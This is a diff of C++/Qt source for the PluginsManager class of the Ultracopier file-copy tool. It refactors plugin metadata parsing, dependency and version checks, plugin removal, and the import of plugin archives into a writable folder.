+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("English text missing into the informations.xml for the tag: %1").arg(name));
+ return;
+ }
+ if(needHaveOneEntryMinimum && foundElement==0)
+ {
+ informations->clear();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Tag not found: %1").arg(name));
+ *errorString=tr("Tag not found: %1").arg(name);
+ }
}
/// \brief to load the get dom specific
-QString PluginsManager::getDomSpecific(const QDomElement &root,const QString &name,const QList<QPair<QString,QString> > &listChildAttribute)
-{
- QDomElement child = root.firstChildElement(name);
- int index,loop_size;
- bool allIsFound;
- while(!child.isNull())
- {
- if(child.isElement())
- {
- allIsFound=true;
- index=0;
- loop_size=listChildAttribute.size();
- while(index<loop_size)
- {
- if(child.attribute(listChildAttribute.at(index).first)!=listChildAttribute.at(index).second)
- {
- allIsFound=false;
- break;
- }
- index++;
- }
- if(allIsFound)
- return child.text();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Is not Element: child.tagName(): %1").arg(child.tagName()));
- child = child.nextSiblingElement(name);
- }
- return QString();
+QString PluginsManager::getDomSpecific(const QDomElement &root,const QString &name,const QList<QPair<QString,QString> > &listChildAttribute) const
+{
+ QDomElement child = root.firstChildElement(name);
+ int index,loop_size;
+ bool allIsFound;
+ while(!child.isNull())
+ {
+ if(child.isElement())
+ {
+ allIsFound=true;
+ index=0;
+ loop_size=listChildAttribute.size();
+ while(index<loop_size)
+ {
+ if(child.attribute(listChildAttribute.at(index).first)!=listChildAttribute.at(index).second)
+ {
+ allIsFound=false;
+ break;
+ }
+ index++;
+ }
+ if(allIsFound)
+ return child.text();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Is not Element: child.tagName(): %1").arg(child.tagName()));
+ child = child.nextSiblingElement(name);
+ }
+ return QString();
}
/// \brief to load the get dom specific
-QString PluginsManager::getDomSpecific(const QDomElement &root,const QString &name)
+QString PluginsManager::getDomSpecific(const QDomElement &root,const QString &name) const
{
- QDomElement child = root.firstChildElement(name);
- while(!child.isNull())
- {
- if(child.isElement())
- return child.text();
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Is not Element: child.tagName(): %1").arg(child.tagName()));
- child = child.nextSiblingElement(name);
- }
- return QString();
+ QDomElement child = root.firstChildElement(name);
+ while(!child.isNull())
+ {
+ if(child.isElement())
+ return child.text();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Is not Element: child.tagName(): %1").arg(child.tagName()));
+ child = child.nextSiblingElement(name);
+ }
+ return QString();
}
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
/// \brief check the dependencies
-void PluginsManager::checkDependencies()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- int loop_size=pluginsList.size();
- int sub_index,loop_sub_size,resolv_size,indexOfDependencies;
- bool depCheck;
- while(index<loop_size)
- {
- sub_index=0;
- loop_sub_size=pluginsList.at(index).informations.size();
- while(sub_index<loop_sub_size)
- {
- if(pluginsList.at(index).informations.at(sub_index).size()==2 && pluginsList.at(index).informations.at(sub_index).at(0)=="dependencies")
- {
- QString dependencies=pluginsList.at(index).informations.at(sub_index).at(1);
- dependencies=dependencies.replace(QRegExp("[\n\r]+"),"&&");
- dependencies=dependencies.replace(QRegExp("[ \t]+"),"");
- dependencies=dependencies.replace(QRegExp("(&&)+"),"&&");
- dependencies=dependencies.replace(QRegExp("^&&"),"");
- dependencies=dependencies.replace(QRegExp("&&$"),"");
- QStringList dependenciesToResolv=dependencies.split(QRegExp("(&&|\\|\\||\\(|\\))"),QString::SkipEmptyParts);
- indexOfDependencies=0;
- resolv_size=dependenciesToResolv.size();
- while(indexOfDependencies<resolv_size)
- {
- QString dependenciesToParse=dependenciesToResolv.at(indexOfDependencies);
- if(!dependenciesToParse.contains(QRegExp("^(<=|<|=|>|>=)[a-zA-Z0-9\\-]+-([0-9]+\\.)*[0-9]+$")))
- {
- pluginsList[index].informations.clear();
- pluginsList[index].errorString=tr("Dependencies part is wrong");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Dependencies part is wrong: %1").arg(dependenciesToParse));
- break;
- }
- QString partName=dependenciesToParse;
- partName=partName.remove(QRegExp("(<=|<|=|>|>=)"));
- partName=partName.remove(QRegExp("-([0-9]+\\.)*[0-9]+"));
- QString partVersion=dependenciesToParse;
- partVersion=partVersion.remove(QRegExp("(<=|<|=|>|>=)"));
- partVersion=partVersion.remove(QRegExp("[a-zA-Z0-9\\-]+-"));
- QString partComp=dependenciesToParse;
- partComp=partComp.remove(QRegExp("[a-zA-Z0-9\\-]+-([0-9]+\\.)*[0-9]+"));
- //current version soft
- QString pluginVersion=getPluginVersion(partName);
- depCheck=compareVersion(pluginVersion,partComp,partVersion);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"dependencies to resolv, partName: "+partName+", partVersion: "+partVersion+", partComp: "+partComp+", pluginVersion: "+pluginVersion+", depCheck: "+QString::number(depCheck));
- if(!depCheck)
- {
- pluginsList[index].informations.clear();
- pluginsList[index].errorString=tr("Dependencies %1 are not satisfied, for plugin: %2").arg(dependenciesToParse).arg(pluginsList[index].path);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Dependencies %1 are not satisfied, for plugin: %2").arg(dependenciesToParse).arg(pluginsList[index].path));
- break;
- }
- indexOfDependencies++;
- }
- }
- sub_index++;
- }
- index++;
- }
+quint32 PluginsManager::checkDependencies()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ quint32 errors=0;
+ int index=0;
+ const int &loop_size=pluginsList.size();
+ int sub_index,loop_sub_size,resolv_size,indexOfDependencies;
+ bool depCheck;
+ while(index<loop_size)
+ {
+ sub_index=0;
+ loop_sub_size=pluginsList.at(index).informations.size();
+ while(sub_index<loop_sub_size)
+ {
+ if(pluginsList.at(index).informations.at(sub_index).size()==2 && pluginsList.at(index).informations.at(sub_index).at(0)==QStringLiteral("dependencies"))
+ {
+ QString dependencies=pluginsList.at(index).informations.at(sub_index).at(1);
+ dependencies=dependencies.replace(regexp_to_clean_1,QStringLiteral("&&"));
+ dependencies=dependencies.replace(regexp_to_clean_2,QStringLiteral(""));
+ dependencies=dependencies.replace(regexp_to_clean_3,QStringLiteral("&&"));
+ dependencies=dependencies.replace(regexp_to_clean_4,QStringLiteral(""));
+ dependencies=dependencies.replace(regexp_to_clean_5,QStringLiteral(""));
+ QStringList dependenciesToResolv=dependencies.split(regexp_to_dep_1,QString::SkipEmptyParts);
+ indexOfDependencies=0;
+ resolv_size=dependenciesToResolv.size();
+ while(indexOfDependencies<resolv_size)
+ {
+ QString dependenciesToParse=dependenciesToResolv.at(indexOfDependencies);
+ if(!dependenciesToParse.contains(regexp_to_dep_2))
+ {
+ pluginsList[index].informations.clear();
+ pluginsList[index].errorString=tr("Dependencies part is wrong");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Dependencies part is wrong: %1").arg(dependenciesToParse));
+ emit onePluginInErrorAdded(pluginsList.at(index));
+ errors++;
+ break;
+ }
+ QString partName=dependenciesToParse;
+ partName=partName.remove(regexp_to_dep_3);
+ partName=partName.remove(regexp_to_dep_4);
+ QString partVersion=dependenciesToParse;
+ partVersion=partVersion.remove(regexp_to_dep_3);
+ partVersion=partVersion.remove(regexp_to_dep_5);
+ QString partComp=dependenciesToParse;
+ partComp=partComp.remove(regexp_to_dep_6);
+ //current version soft
+ QString pluginVersion=getPluginVersion(partName);
+ depCheck=compareVersion(pluginVersion,partComp,partVersion);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("dependencies to resolv, partName: ")+partName+QStringLiteral(", partVersion: ")+partVersion+QStringLiteral(", partComp: ")+partComp+QStringLiteral(", pluginVersion: ")+pluginVersion+QStringLiteral(", depCheck: ")+QString::number(depCheck));
+ if(!depCheck)
+ {
+ pluginsList[index].informations.clear();
+ pluginsList[index].errorString=tr("Dependencies %1 are not satisfied, for plugin: %2").arg(dependenciesToParse).arg(pluginsList[index].path);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Dependencies %1 are not satisfied, for plugin: %2").arg(dependenciesToParse).arg(pluginsList[index].path));
+ pluginsListIndexed.remove(pluginsList.at(index).category,pluginsList.at(index));
+ emit onePluginInErrorAdded(pluginsList.at(index));
+ errors++;
+ break;
+ }
+ indexOfDependencies++;
+ }
+ }
+ sub_index++;
+ }
+ index++;
+ }
+ return errors;
}
+#endif
/// \brief get the version
-QString PluginsManager::getPluginVersion(const QString &pluginName)
-{
- if(pluginName=="ultracopier")
- return ULTRACOPIER_VERSION;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginsList.size())
- {
- QString version,internalName;
- int sub_index=0;
- while(sub_index<pluginsList.at(index).informations.size())
- {
- if(pluginsList.at(index).informations.at(sub_index).size()==2 && pluginsList.at(index).informations.at(sub_index).at(0)=="version")
- version=pluginsList.at(index).informations.at(sub_index).at(1);
- if(pluginsList.at(index).informations.at(sub_index).size()==2 && pluginsList.at(index).informations.at(sub_index).at(0)=="internalName")
- internalName=pluginsList.at(index).informations.at(sub_index).at(1);
- sub_index++;
- }
- if(internalName==pluginName)
- return version;
- index++;
- }
- return "";
+QString PluginsManager::getPluginVersion(const QString &pluginName) const
+{
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ if(pluginName==QStringLiteral("supercopier"))
+ return ULTRACOPIER_VERSION;
+ #else
+ if(pluginName==QStringLiteral("ultracopier"))
+ return ULTRACOPIER_VERSION;
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginsList.size())
+ {
+ QString version,internalName;
+ int sub_index=0;
+ while(sub_index<pluginsList.at(index).informations.size())
+ {
+ if(pluginsList.at(index).informations.at(sub_index).size()==2 && pluginsList.at(index).informations.at(sub_index).at(0)==QStringLiteral("version"))
+ version=pluginsList.at(index).informations.at(sub_index).at(1);
+ if(pluginsList.at(index).informations.at(sub_index).size()==2 && pluginsList.at(index).informations.at(sub_index).at(0)==QStringLiteral("internalName"))
+ internalName=pluginsList.at(index).informations.at(sub_index).at(1);
+ sub_index++;
+ }
+ if(internalName==pluginName)
+ return version;
+ index++;
+ }
+ return "";
}
/// \brief To compare version
bool PluginsManager::compareVersion(const QString &versionA,const QString &sign,const QString &versionB)
{
- QStringList versionANumber=versionA.split(".");
- QStringList versionBNumber=versionB.split(".");
- int index=0;
- int defaultReturnValue=true;
- if(sign=="<")
- defaultReturnValue=false;
- if(sign==">")
- defaultReturnValue=false;
- while(index<versionANumber.size() && index<versionBNumber.size())
- {
- unsigned int reaNumberA=versionANumber.at(index).toUInt();
- unsigned int reaNumberB=versionBNumber.at(index).toUInt();
- if(sign=="=" && reaNumberA!=reaNumberB)
- return false;
- if(sign=="<")
- {
- if(reaNumberA>reaNumberB)
- return false;
- if(reaNumberA<reaNumberB)
- return true;
- }
- if(sign==">")
- {
- if(reaNumberA<reaNumberB)
- return false;
- if(reaNumberA>reaNumberB)
- return true;
- }
- if(sign=="<=")
- {
- if(reaNumberA>reaNumberB)
- return false;
- if(reaNumberA<reaNumberB)
- return true;
- }
- if(sign==">=")
- {
- if(reaNumberA<reaNumberB)
- return false;
- if(reaNumberA>reaNumberB)
- return true;
- }
- index++;
- }
- return defaultReturnValue;
-}
-
-QList<PluginsAvailable> PluginsManager::getPluginsByCategory(const PluginType &category)
-{
- return pluginsListIndexed.values(category);
-}
-
-QList<PluginsAvailable> PluginsManager::getPlugins()
-{
- QList<PluginsAvailable> list;
- int index=0;
- while(index<pluginsList.size())
- {
- if(pluginsList.at(index).errorString=="")
- list<<pluginsList.at(index);
- index++;
- }
- return list;
+ QStringList versionANumber=versionA.split(QStringLiteral("."));
+ QStringList versionBNumber=versionB.split(QStringLiteral("."));
+ int index=0;
+ int defaultReturnValue=true;
+ if(sign==QStringLiteral("<"))
+ defaultReturnValue=false;
+ if(sign==QStringLiteral(">"))
+ defaultReturnValue=false;
+ while(index<versionANumber.size() && index<versionBNumber.size())
+ {
+ unsigned int reaNumberA=versionANumber.at(index).toUInt();
+ unsigned int reaNumberB=versionBNumber.at(index).toUInt();
+ if(sign==QStringLiteral("=") && reaNumberA!=reaNumberB)
+ return false;
+ if(sign==QStringLiteral("<"))
+ {
+ if(reaNumberA>reaNumberB)
+ return false;
+ if(reaNumberA<reaNumberB)
+ return true;
+ }
+ if(sign==QStringLiteral(">"))
+ {
+ if(reaNumberA<reaNumberB)
+ return false;
+ if(reaNumberA>reaNumberB)
+ return true;
+ }
+ if(sign==QStringLiteral("<="))
+ {
+ if(reaNumberA>reaNumberB)
+ return false;
+ if(reaNumberA<reaNumberB)
+ return true;
+ }
+ if(sign==QStringLiteral(">="))
+ {
+ if(reaNumberA<reaNumberB)
+ return false;
+ if(reaNumberA>reaNumberB)
+ return true;
+ }
+ index++;
+ }
+ return defaultReturnValue;
+}
+
+QList<PluginsAvailable> PluginsManager::getPluginsByCategory(const PluginType &category) const
+{
+ return pluginsListIndexed.values(category);
+}
+
+QList<PluginsAvailable> PluginsManager::getPlugins(bool withError) const
+{
+ QList<PluginsAvailable> list;
+ int index=0;
+ while(index<pluginsList.size())
+ {
+ if(withError || pluginsList.at(index).errorString.isEmpty())
+ list<<pluginsList.at(index);
+ index++;
+ }
+ return list;
}
/// \brief show the information
void PluginsManager::showInformation(const QString &path)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginsList.size())
- {
- if(pluginsList.at(index).path==path)
- {
- pluginInformationWindows.setLanguage(mainShortName);
- pluginInformationWindows.setPlugin(pluginsList.at(index));
- pluginInformationWindows.show();
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"item not selected");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginsList.size())
+ {
+ if(pluginsList.at(index).path==path)
+ {
+ if(pluginInformation==NULL)
+ {
+ pluginInformation=new PluginInformation();
+ connect(this, &PluginsManager::newLanguageLoaded, pluginInformation, &PluginInformation::retranslateInformation,Qt::QueuedConnection);
+ }
+ pluginInformation->setLanguage(mainShortName);
+ pluginInformation->setPlugin(pluginsList.at(index));
+ pluginInformation->show();
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("item not selected"));
}
void PluginsManager::showInformationDoubleClick()
@@ -621,263 +651,275 @@ void PluginsManager::showInformationDoubleClick()
// showInformation(false);
}
+#ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
void PluginsManager::removeThePluginSelected(const QString &path)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginsList.size())
- {
- if(pluginsList.at(index).path==path)
- {
- QMessageBox::StandardButton reply;
- // if(pluginsList.at(index).internalVersionAlternative.isEmpty())
- reply = QMessageBox::question(NULL,tr("Remove %1").arg(pluginsList.at(index).name),tr("Are you sure about removing \"%1\" in version %2?").arg(pluginsList.at(index).name).arg(pluginsList.at(index).version),QMessageBox::Yes|QMessageBox::No,QMessageBox::No);
- // else
- // reply = QMessageBox::question(NULL,tr("Remove %1").arg(getTranslatedText(pluginsList.at(index),"name",mainShortName)),tr("Are you sure to wish remove \"%1\" in version %2 for the internal version %3?").arg(getTranslatedText(pluginsList.at(index),"name",mainShortName)).arg(pluginsList.at(index).version).arg(pluginsList.at(index).internalVersionAlternative),QMessageBox::Yes|QMessageBox::No,QMessageBox::No);
- if(reply==QMessageBox::Yes)
- {
- emit onePluginWillBeUnloaded(pluginsList.at(index));
- emit onePluginWillBeRemoved(pluginsList.at(index));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"remove plugin at this path: "+pluginsList.at(index).path);
- if(!ResourcesManager::removeFolder(pluginsList.at(index).path))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove the plugin");
- QMessageBox::critical(NULL,tr("Error"),tr("Error while the removing plugin, please check the rights on the folder: \n%1").arg(pluginsList.at(index).path));
- }
- pluginsListIndexed.remove(pluginsList.at(index).category,pluginsList.at(index));
- pluginsList.removeAt(index);
- checkDependencies();
- }
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"item not selected");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginsList.size())
+ {
+ if(pluginsList.at(index).path==path)
+ {
+ QMessageBox::StandardButton reply;
+ // if(pluginsList.at(index).internalVersionAlternative.isEmpty())
+ reply = QMessageBox::question(NULL,tr("Remove %1").arg(pluginsList.at(index).name),tr("Are you sure about removing \"%1\" in version %2?").arg(pluginsList.at(index).name).arg(pluginsList.at(index).version),QMessageBox::Yes|QMessageBox::No,QMessageBox::No);
+ // else
+ // reply = QMessageBox::question(NULL,tr("Remove %1").arg(getTranslatedText(pluginsList.at(index),"name",mainShortName)),tr("Are you sure to wish remove \"%1\" in version %2 for the internal version %3?").arg(getTranslatedText(pluginsList.at(index),"name",mainShortName)).arg(pluginsList.at(index).version).arg(pluginsList.at(index).internalVersionAlternative),QMessageBox::Yes|QMessageBox::No,QMessageBox::No);
+ if(reply==QMessageBox::Yes)
+ {
+ emit onePluginWillBeUnloaded(pluginsList.at(index));
+ emit onePluginWillBeRemoved(pluginsList.at(index));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"remove plugin at this path: "+pluginsList.at(index).path);
+ if(!ResourcesManager::removeFolder(pluginsList.at(index).path))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to remove the plugin");
+ QMessageBox::critical(NULL,tr("Error"),tr("Error while the removing plugin, please check the rights on the folder: \n%1").arg(pluginsList.at(index).path));
+ }
+ pluginsListIndexed.remove(pluginsList.at(index).category,pluginsList.at(index));
+ pluginsList.removeAt(index);
+ while(checkDependencies()!=0){};
+ }
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("item not selected"));
}
void PluginsManager::addPlugin(const ImportBackend &backend)
{
- if(backend==ImportBackend_File)
- excuteTheFileBackendLoader();
-}
-
-void PluginsManager::excuteTheFileBackendLoader()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(importingPlugin)
- {
- QMessageBox::information(NULL,tr("Information"),tr("Previous import is in progress..."));
- return;
- }
- QString fileName = QFileDialog::getOpenFileName(NULL,tr("Open Ultracopier plugin"),QString(),tr("Ultracopier plugin (*.urc)"));
- if(fileName!="")
- {
- QFile temp(fileName);
- if(temp.open(QIODevice::ReadOnly))
- {
- importingPlugin=true;
- lunchDecodeThread(temp.readAll());
- temp.close();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"unable to open the file: "+temp.errorString());
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to open the plugin: %1").arg(temp.errorString()));
- }
- }
+ if(backend==ImportBackend_File)
+ executeTheFileBackendLoader();
+}
+
+void PluginsManager::executeTheFileBackendLoader()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(importingPlugin)
+ {
+ QMessageBox::information(NULL,tr("Information"),tr("Previous import is in progress..."));
+ return;
+ }
+ QString fileName = QFileDialog::getOpenFileName(NULL,tr("Open Ultracopier plugin"),QString(),tr("Ultracopier plugin (*.urc)"));
+ if(fileName!="")
+ tryLoadPlugin(fileName);
+}
+
+void PluginsManager::tryLoadPlugin(const QString &file)
+{
+ QFile temp(file);
+ if(temp.open(QIODevice::ReadOnly))
+ {
+ importingPlugin=true;
+ lunchDecodeThread(temp.readAll());
+ temp.close();
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"unable to open the file: "+temp.errorString());
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to open the plugin: %1").arg(temp.errorString()));
+ }
}
void PluginsManager::lunchDecodeThread(const QByteArray &data)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- decodeThread.setData(data);
- decodeThread.start(QThread::LowestPriority);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ decodeThread.setData(data);
+ decodeThread.start(QThread::LowestPriority);
}
void PluginsManager::decodingFinished()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(!decodeThread.errorFound())
- {
- QByteArray data=decodeThread.decodedData();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"data.size(): "+QString::number(data.size()));
- QTarDecode tarFile;
- if(!tarFile.decodeData(data))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"tarFile.errorString(): "+tarFile.errorString());
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it: %1").arg(tarFile.errorString()));
- }
- else
- {
- QStringList fileList = tarFile.getFileList();
- QList<QByteArray> dataList = tarFile.getDataList();
- if(fileList.size()>1)
- {
- QString basePluginArchive="";
- /* block use less for tar?
- if(fileList.at(0).contains(QRegExp("[\\/]")))
- {
- bool folderFoundEveryWhere=true;
- basePluginArchive=fileList.at(0);
- basePluginArchive.remove(QRegExp("[\\/].*$"));
- for (int i = 0; i < list.size(); ++i)
- {
- if(!fileList.at(i).startsWith(basePluginArchive))
- {
- folderFoundEveryWhere=false;
- break;
- }
- }
- if(folderFoundEveryWhere)
- {
- for (int i = 0; i < fileList.size(); ++i)
- fileList[i].remove(0,basePluginArchive.size());
- }
- else
- basePluginArchive="";
- }*/
- PluginsAvailable tempPlugin;
- QString categoryFinal="";
- for (int i = 0; i < fileList.size(); ++i)
- if(fileList.at(i)=="informations.xml")
- {
- loadPluginXml(&tempPlugin,dataList.at(i));
- break;
- }
- if(tempPlugin.errorString=="")
- {
- categoryFinal=categoryToString(tempPlugin.category);
- if(categoryFinal!="")
- {
- QString writablePath=resources->getWritablePath();
- if(writablePath!="")
- {
- QDir dir;
- QString finalPluginPath=writablePath+categoryFinal+QDir::separator()+tempPlugin.name+QDir::separator();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"writablePath: \""+writablePath+"\"");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"basePluginArchive: \""+basePluginArchive+"\"");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"categoryFinal: \""+categoryFinal+"\"");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"finalPluginPath: \""+finalPluginPath+"\"");
- if(!dir.exists(finalPluginPath))
- {
- bool errorFound=false;
- for (int i = 0; i < fileList.size(); ++i)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"file "+QString::number(i)+": "+finalPluginPath+fileList.at(i));
- fileList[i].remove(QRegExp("^(..?[\\/])+"));
- QFile currentFile(finalPluginPath+fileList.at(i));
- QFileInfo info(currentFile);
- if(!dir.exists(info.absolutePath()))
- if(!dir.mkpath(info.absolutePath()))
- {
- resources->disableWritablePath();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Unable to make the path: "+info.absolutePath());
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to create a folder to install the plugin:\n%1").arg(info.absolutePath()));
- errorFound=true;
- break;
- }
- if(currentFile.open(QIODevice::ReadWrite))
- {
- currentFile.write(dataList.at(i));
- currentFile.close();
- }
- else
- {
- resources->disableWritablePath();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Unable to make the file: "+info.absolutePath()+", error:"+currentFile.errorString());
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to create a file to install the plugin:\n%1\nsince:%2").arg(info.absolutePath()).arg(currentFile.errorString()));
- errorFound=true;
- break;
- }
- }
- if(!errorFound)
- {
- if(loadPluginInformation(finalPluginPath))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"push the new plugin into the real list");
- checkDependencies();
- emit needLangToRefreshPluginList();
- }
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Folder with same name is present, skip the plugin installation: "+finalPluginPath);
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Folder with same name is present, skip the plugin installation:\n%1").arg(finalPluginPath));
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Have not writable path, then how add you plugin?");
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it"));
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"category into informations.xml not found!");
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it"));
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Error in the xml: "+tempPlugin.errorString);
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it: %1").arg(tempPlugin.errorString));
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"No file found into the plugin");
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it"));
- }
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"decodeThread.errorFound(), error: "+decodeThread.errorString());
- QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it: %1").arg(decodeThread.errorString()));
- }
- importingPlugin=false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(!decodeThread.errorFound())
+ {
+ QByteArray data=decodeThread.decodedData();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"data.size(): "+QString::number(data.size()));
+ QTarDecode tarFile;
+ std::vector<char> cppdata;
+ cppdata.resize(data.size());
+ memcpy(cppdata.data(),data.data(),data.size());
+ if(!tarFile.decodeData(cppdata))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"tarFile.errorString(): "+QString::fromStdString(tarFile.errorString()));
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it: %1").arg(QString::fromStdString(tarFile.errorString())));
+ }
+ else
+ {
+ std::vector<std::string> fileList = tarFile.getFileList();
+ std::vector<std::vector<char> > dataList = tarFile.getDataList();
+ if(fileList.size()>1)
+ {
+ QString basePluginArchive=QStringLiteral("");
+ /* block use less for tar?
+ if(fileList.at(0).contains(QRegularExpression("[\\/]")))
+ {
+ bool folderFoundEveryWhere=true;
+ basePluginArchive=fileList.at(0);
+ basePluginArchive.remove(QRegularExpression("[\\/].*$"));
+ for (int i = 0; i < list.size(); ++i)
+ {
+ if(!fileList.at(i).startsWith(basePluginArchive))
+ {
+ folderFoundEveryWhere=false;
+ break;
+ }
+ }
+ if(folderFoundEveryWhere)
+ {
+ for (int i = 0; i < fileList.size(); ++i)
+ fileList[i].remove(0,basePluginArchive.size());
+ }
+ else
+ basePluginArchive="";
+ }*/
+ PluginsAvailable tempPlugin;
+ QString categoryFinal=QStringLiteral("");
+ for (unsigned int i = 0; i < fileList.size(); ++i)
+ if(fileList.at(i)=="informations.xml")
+ {
+ loadPluginXml(&tempPlugin,QByteArray(dataList.at(i).data(),dataList.at(i).size()));
+ break;
+ }
+ if(tempPlugin.errorString=="")
+ {
+ categoryFinal=categoryToString(tempPlugin.category);
+ if(categoryFinal!="")
+ {
+ QString writablePath=ResourcesManager::resourcesManager->getWritablePath();
+ if(writablePath!="")
+ {
+ QDir dir;
+ QString finalPluginPath=writablePath+categoryFinal+QDir::separator()+tempPlugin.name+QDir::separator();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"writablePath: \""+writablePath+"\"");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"basePluginArchive: \""+basePluginArchive+"\"");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"categoryFinal: \""+categoryFinal+"\"");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"finalPluginPath: \""+finalPluginPath+"\"");
+ if(!dir.exists(finalPluginPath))
+ {
+ bool errorFound=false;
+ for (unsigned int i = 0; i < fileList.size(); ++i)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"file "+QString::number(i)+": "+finalPluginPath+QString::fromStdString(fileList.at(i)));
+ QString fileListEntry=QString::fromStdString(fileList[i]);
+ fileListEntry.remove(QRegularExpression("^(..?[\\/])+"));
+ QFile currentFile(finalPluginPath+fileListEntry);
+ QFileInfo info(currentFile);
+ if(!dir.exists(info.absolutePath()))
+ if(!dir.mkpath(info.absolutePath()))
+ {
+ ResourcesManager::resourcesManager->disableWritablePath();
